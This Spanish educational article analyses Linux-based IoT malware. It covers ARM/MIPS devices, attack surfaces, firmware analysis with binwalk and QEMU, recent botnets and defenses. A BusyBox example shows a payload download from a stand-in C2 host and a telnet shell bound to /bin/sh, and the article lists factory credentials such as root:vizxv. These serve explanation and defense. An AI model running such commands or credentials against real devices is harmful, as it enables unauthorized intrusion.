IntermedioLinuxIoTARMMIPSfirmwarebotnets

Malware en IoT Basado en Linux: ARM, MIPS y la Superficie de Ataque del Futuro

Análisis del malware IoT en dispositivos Linux embebidos. Cámaras IP, routers, NAS como objetivos. Arquitecturas ARM/MIPS, firmware analysis con binwalk, botnets IoT modernas, y estrategias de seguridad para dispositivos embebidos.

MalwareIntel Research··7 min lectura
Serie: Malware en Linux — Parte 14

Millones de dispositivos Linux sin parchear conectados a Internet

Hay más de 15.000 millones de dispositivos IoT conectados a Internet en 2026. La mayoría ejecuta Linux (o un derivado) en arquitecturas ARM o MIPS. La mayoría nunca recibe actualizaciones de seguridad. La mayoría tiene credenciales por defecto que nunca se cambian.

Es la superficie de ataque más grande y menos protegida del mundo.

El ecosistema IoT Linux

Arquitecturas comunes

ArquitecturaDispositivos típicosEndiannessHerramientas de análisis
ARM (32-bit)Cámaras IP, routers modernos, Raspberry PiLittle endian (predominante)qemu-arm-static, Ghidra ARM
ARM (64-bit, AArch64)Routers de gama alta, NAS modernosLittle endianqemu-aarch64-static, Ghidra
MIPS (32-bit)Routers (TP-Link, Huawei, Atheros)Big endian (predominante)qemu-mips-static, Ghidra MIPS
MIPSEL (32-bit)Routers (Atheros, MediaTek)Little endianqemu-mipsel-static
PowerPCRouters legacy, equipos industrialesBig endianqemu-ppc-static
SH4 (SuperH)Dispositivos legacy, decodificadores TVLittle endianqemu-sh4-static
x86NAS (Synology, QNAP), DVRs de gama altaLittle endianAnálisis nativo

Sistemas operativos embebidos

OSBasado enUso
OpenWrtLinuxRouters open source
BusyBox LinuxLinux kernel + BusyBox userlandDispositivos minimalistas
BuildrootLinux kernel + custom userlandFirmware custom
YoctoLinux kernel + framework de buildDispositivos industriales
Android ThingsAndroid/LinuxIoT Google (deprecated)
FreeRTOSNo Linux (RTOS)Microcontroladores (no aplica este artículo)

BusyBox: la navaja suiza del IoT

BusyBox combina cientos de utilidades Unix en un solo binario compacto. Es el userland estándar en dispositivos embebidos:

# Un solo binario que implementa: ls, cat, grep, awk, wget, telnetd, httpd, etc.
/bin/busybox ls
/bin/busybox wget http://c2/payload
/bin/busybox telnetd -l /bin/sh  # El servicio telnet que Mirai ataca

Vectores de ataque a dispositivos IoT

Servicios expuestos

ServicioPuertoRiesgo
Telnet23Brute force de credenciales (vector principal de Mirai)
SSH22Brute force, credenciales por defecto
HTTP/HTTPS (web admin)80, 443, 8080Vulnerabilidades web, credenciales por defecto
UPnP1900Descubrimiento + explotación (múltiples CVEs)
MQTT1883Sin autenticación por defecto, exfiltración de datos IoT
TR-069 (CWMP)7547Gestión remota de ISPs, múltiples exploits
RTSP554Streaming de video de cámaras sin autenticación
FTP21Acceso a firmware/configuración

Vulnerabilidades recurrentes

TipoEjemploImpacto
Credenciales hardcodeadasroot:root, admin:admin, root:vizxvAcceso completo al dispositivo
Command injectionInput no sanitizado en web adminRCE vía interfaz web
Buffer overflowEn servicios como httpd, telnetdRCE sin autenticación
Path traversalEn servidores web del dispositivoLectura de /etc/passwd, firmware
Backdoor del fabricanteCuentas de servicio ocultasAcceso permanente
Firmware sin cifrarDescarga de firmware desde el sitio del fabricanteReverse engineering, extracción de claves

Análisis de firmware

Extracción con binwalk

# Analizar estructura del firmware
binwalk firmware.bin

# Extraer contenido
binwalk -e firmware.bin

# Output tipico:
# DECIMAL       HEXADECIMAL     DESCRIPTION
# 0             0x0             uImage header, Linux kernel
# 64            0x40            LZMA compressed data
# 1048576       0x100000        Squashfs filesystem, little endian
# 5242880       0x500000        JFFS2 filesystem, little endian

Estructura típica de firmware IoT

firmware.bin
├── Bootloader (U-Boot)
├── Kernel (Linux, comprimido con LZMA/gzip)
├── Root filesystem (SquashFS, JFFS2, UBIFS)
│   ├── /bin/ (BusyBox + binarios custom)
│   ├── /etc/ (configuracion, credenciales)
│   ├── /usr/ (aplicaciones)
│   ├── /www/ (interfaz web)
│   └── /lib/ (librerias)
└── NVRAM / Config partition

Análisis post-extracción

# Extraer firmware
binwalk -e firmware.bin
cd _firmware.bin.extracted/squashfs-root/

# Buscar credenciales hardcodeadas
grep -r "password\|passwd\|secret\|key\|token" etc/ 2>/dev/null
cat etc/passwd   # Usuarios y hashes
cat etc/shadow   # Hashes de passwords (si existe)

# Buscar backdoors
grep -r "backdoor\|telnetd\|dropbear" etc/init.d/ 2>/dev/null
# Buscar servicios que arrancan al boot

# Buscar claves privadas
find . -name "*.pem" -o -name "*.key" -o -name "*.crt" 2>/dev/null

# Buscar URLs/IPs hardcodeadas
grep -rE '([0-9]{1,3}\.){3}[0-9]{1,3}' . 2>/dev/null | grep -v Binary
grep -rE 'http[s]?://' . 2>/dev/null | grep -v Binary

# Analizar binarios custom
file usr/bin/*
strings usr/bin/custom_daemon | grep -i "password\|http\|ftp"

Emulación con QEMU

# Emulacion de binario ARM individual
cp $(which qemu-arm-static) ./squashfs-root/usr/bin/
sudo chroot ./squashfs-root /usr/bin/qemu-arm-static /bin/busybox ls

# Emulacion con firmadyne (sistema completo)
git clone https://github.com/firmadyne/firmadyne
./firmadyne/sources/extractor/extractor.py -b brand -sql 127.0.0.1 firmware.bin
./firmadyne/scripts/makeNetwork.sh
./firmadyne/scratch/[id]/run.sh
# Emula el firmware completo con networking

Herramientas de análisis de firmware

HerramientaTipoFunción
binwalkCLIAnálisis y extracción de firmware
FirmwalkerScriptBúsqueda automatizada de secrets en firmware extraído
FACT (Firmware Analysis and Comparison Tool)WebAnálisis automatizado con plugins
firmadyneEmuladorEmulación completa de firmware Linux
ARM-XEmuladorFramework de emulación de firmware ARM
GhidraDecompiladorAnálisis de binarios multi-arquitectura
EMBAFrameworkAnálisis de seguridad de firmware automatizado
TrommelScriptBúsqueda de vulnerabilidades en firmware

Malware IoT notable (además de Mirai)

BotenaGo (2021)

Escrito en Go, explota más de 30 vulnerabilidades diferentes en routers y dispositivos IoT simultáneamente. Multiarchitectura nativa gracias a Go.

Chaos (2022)

Botnet escrita en Go que combina:

  • DDoS
  • Cryptomining
  • Propagación via SSH brute force
  • Funciona en x86, ARM, MIPS, PowerPC, SPARC

AVrecon (2023)

Botnet que infecta routers SOHO (Small Office/Home Office) para convertirlos en proxies residenciales. Los proxies se venden como servicio, generando ingresos para el operador. Más de 70.000 routers infectados según Lumen Black Lotus Labs.

Pandora (2023)

Botnet basada en Mirai que infecta Android TV boxes baratos (vendidos en Amazon, AliExpress) que vienen con firmware comprometido de fábrica.

Defensa de dispositivos IoT

Para usuarios/empresas

MedidaPrioridad
Cambiar credenciales por defectoCritica
Actualizar firmwareCritica
Segmentar IoT en VLAN separadaCritica
Deshabilitar telnet/UPnPAlta
Deshabilitar servicios innecesariosAlta
Monitorizar tráfico IoTAlta
Inventariar todos los dispositivos IoTAlta
Reemplazar dispositivos EOL (sin updates)Media

Para fabricantes

MedidaDescripción
Secure bootVerificar integridad del firmware al arrancar
Sin credenciales por defectoForzar cambio en primer uso
Updates automáticas OTAActualizaciones firmadas y verificadas
Minimal servicesNo exponer telnet, FTP, UPnP por defecto
Cifrado de firmwareDificultar reverse engineering
Programa de disclosureCanal para reportar vulnerabilidades
SLA de patchesComprometerse a parchear vulnerabilidades en plazo definido

Mapeo MITRE ATT&CK (IoT)

TécnicaIDContexto IoT
Exploit Public-Facing ApplicationT1190Vulnerabilidades en web admin, UPnP
Default CredentialsT1078.001Credenciales de fábrica
Brute ForceT1110Telnet/SSH brute force
Network Denial of ServiceT1498DDoS desde botnet IoT
Resource HijackingT1496Cryptomining, proxy residential
Data from Local SystemT1005Exfiltración de datos de cámaras/sensores

Fuentes y referencias

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.